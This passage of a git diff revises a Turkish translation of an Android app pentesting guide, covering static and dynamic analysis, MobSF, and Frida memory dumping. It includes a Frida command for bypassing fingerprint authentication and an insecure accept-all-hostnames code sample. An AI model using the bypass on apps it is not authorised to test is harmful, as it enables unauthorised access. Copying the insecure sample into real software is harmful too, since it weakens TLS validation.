bu dosyalara erişebileceği anlamına gelir. 2. **Güvenlik Endişeleri**: -- Erişimin kolaylığı göz önüne alındığında, **hassas bilgilerin** harici depolamada saklanmaması önerilir. +- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir. - Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir. 3. **Harici Depolamadan Veri İşleme**: - Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. -- Dinamik yükleme için harici depolamada yürütülebilir dosyaların veya sınıf dosyalarının saklanması kesinlikle önerilmez. -- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. +- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. +- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**. @@ -134,7 +134,7 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında * **Tüm Sertifikaları Kabul Etme** -Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile: +Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -145,16 +145,16 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); **Zayıf Anahtar Yönetim Süreçleri** -Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir. +Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik çalışmaları, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir. **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** -Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır. +Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte **brute-force** **dirençli** hash'ler kullanılmalıdır. ### Diğer Kontroller -- Saldırganların tersine mühendislik işini zorlaştırmak için **APK'yı obfuscate** etmek önerilir. -- Uygulama hassas ise (banka uygulamaları gibi), **mobilin root'lu olup olmadığını kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir. +- Saldırganların tersine mühendislik çalışmalarını zorlaştırmak için **APK'yı obfuscate** etmek önerilir. +- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklü olup olmadığını kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir. - Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. - Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**. - APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. @@ -181,7 +181,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met ### Otomatik Statik Kod Analizi -[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcının kontrol ettiği** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink** kombinasyonlarını belirtir. +[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir. Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**. @@ -198,9 +198,9 @@ bypass-biometric-authentication-android.md ### Diğer İlginç Fonksiyonlar - **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage` +- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` - **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load` -- [Native fonksiyonları **tersine çevirmeyi öğrenmek için bunu okuyun**](reversing-native-libraries.md) +- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) ### **Diğer Hileler** @@ -214,7 +214,7 @@ content-protocol.md ## Dinamik Analiz -> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, root'lu bir cihaz (emüle edilmiş veya değil) son derece önerilir. +> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir. ### Çevrimiçi Dinamik Analiz @@ -230,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla #### Bir emülatör kullanarak -- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler). +- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler). - Kurulumunu bu sayfada öğrenin: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirmek** önerilir._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._) - [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). > [!NOTE] -> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin. +> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin. -Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: +Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: ![](<../../images/image (277).png>) @@ -251,7 +251,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo #### Fiziksel bir cihaz kullanma -**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root'lamak** iyi olur: +**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root** yapabilirseniz harika olur: 1. **Ayarlar**. 2. (Android 8.0'dan itibaren) **Sistem**'i seçin. @@ -259,7 +259,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo 4. **Build numarasına** 7 kez basın. 5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız. -> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ +> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ > **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz. ### İstenmeyen Veri Sızıntısı @@ -270,15 +270,15 @@ Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa > [!WARNING] > **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ -> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir. +> Yine de, **hassas bilgileri günlüklememek** önerilir. **Kopyala/Yapıştır Tamponu Önbellekleme** -Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden**, hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir. +Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümlerde, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için **kopyala/yapıştır** işlevlerini devre dışı bırakmak önemlidir. **Çökme Günlükleri** -Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. +Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**. @@ -289,7 +289,7 @@ Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliş ### SQLite DB'leri Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\ -Veritabanları, `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır. +Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır. Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi bulabiliyorsanız**, bu hala bir **zayıflıktır**. @@ -297,24 +297,24 @@ Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz: +Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` @@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Parmak İzi/Biyometrik Bypass** -Aşağıdaki Frida scriptini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir: +Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -472,9 +472,9 @@ Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık g Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir). -Anlık görüntüler genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`** +Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`** -Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. +Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sunar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -491,17 +491,17 @@ Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarı ### Temel Çıkarımlar - **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer. -- Saldırılar, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir. +- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir. - Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir. - `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir. ### Android İstemci Tarafı Enjeksiyonları ve Diğerleri -Bu tür güvenlik açıkları hakkında Web'den bilgi sahibi olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz: +Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz: - **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun. -- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). -- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı bırakılmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). +- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). +- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). - **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir. - [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) @@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\ Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir. -MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**. +MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**. ### MobSF ile Yardımlı Dinamik Analiz **MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\ **MobSF dinamik analizörü** şunları yapabilir: -- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir. +- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan veriler, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan aktivitelerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir. - **HTTPS trafiğini yakalama** - **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma @@ -539,7 +539,7 @@ Android **sürümleri > 5** için, **Frida**'yı **otomatik olarak başlatacak** **Frida** Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\ -MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. +MobSF ayrıca **dışa aktarılan aktiviteleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz). @@ -548,18 +548,18 @@ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var: -- **Yüklenen Sınıfları Listele**: Yüklenen tüm sınıfları yazdırır +- **Yüklenen Sınıfları Listele**: Tüm yüklenen sınıfları yazdırır - **Dizeleri Yakala**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü) -- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir. -- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır. +- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**. +- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdırır. - **Sınıf Deseni Ara**: Desene göre sınıfları arar - **Sınıf Yöntemlerini İzle**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. -Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. +Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. **Shell** -Mobsf, dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell de sunar. Bazı ilginç komutlar: +Mobsf ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar: ```bash help shell ls @@ -570,13 +570,13 @@ receivers ``` **HTTP araçları** -HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ -Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTPTools'u Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ +Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTPTools'da isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz. > [!NOTE] -> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: +> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: > > ``` > adb shell settings put global http_proxy :0 @@ -631,7 +631,7 @@ StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygul Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz. -İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases): +[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin: ``` ./stacoan ``` @@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**, **M**obil **U**ygulama **T**ersine mühendislik ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir. +**MARA**, **Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesi**dir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir. Şunları yapabilir: @@ -666,7 +666,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - Regex kullanarak APK'dan özel bilgileri çıkarmak. - Manifest'i analiz etmek. - Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek. +- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek. ### Koodous @@ -691,7 +691,7 @@ APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/de - Bir kaynağı InputStream olarak yüklemek; - Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek; - Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak; -- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak; +- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak; - Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek. ### [DeGuard](http://apk-deguard.com) @@ -720,7 +720,7 @@ APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyi ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b, tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarlar koleksiyonunu içeren ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir. +AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içerir. ## References diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index b0ca59188..6e69789dd 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -6,9 +6,9 @@ ### **Bir iOS Cihazının UDID'sini Tanımlama** -Bir iOS cihazını benzersiz bir şekilde tanımlamak için 40 haneli bir dizi olan UDID kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulamasında** bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'si diğer bilgilerle birlikte görünür. +Bir iOS cihazını benzersiz bir şekilde tanımlamak için 40 haneli bir dizi olan UDID kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulaması** içinde bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'si diğer bilgilerle birlikte görünür. -Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için 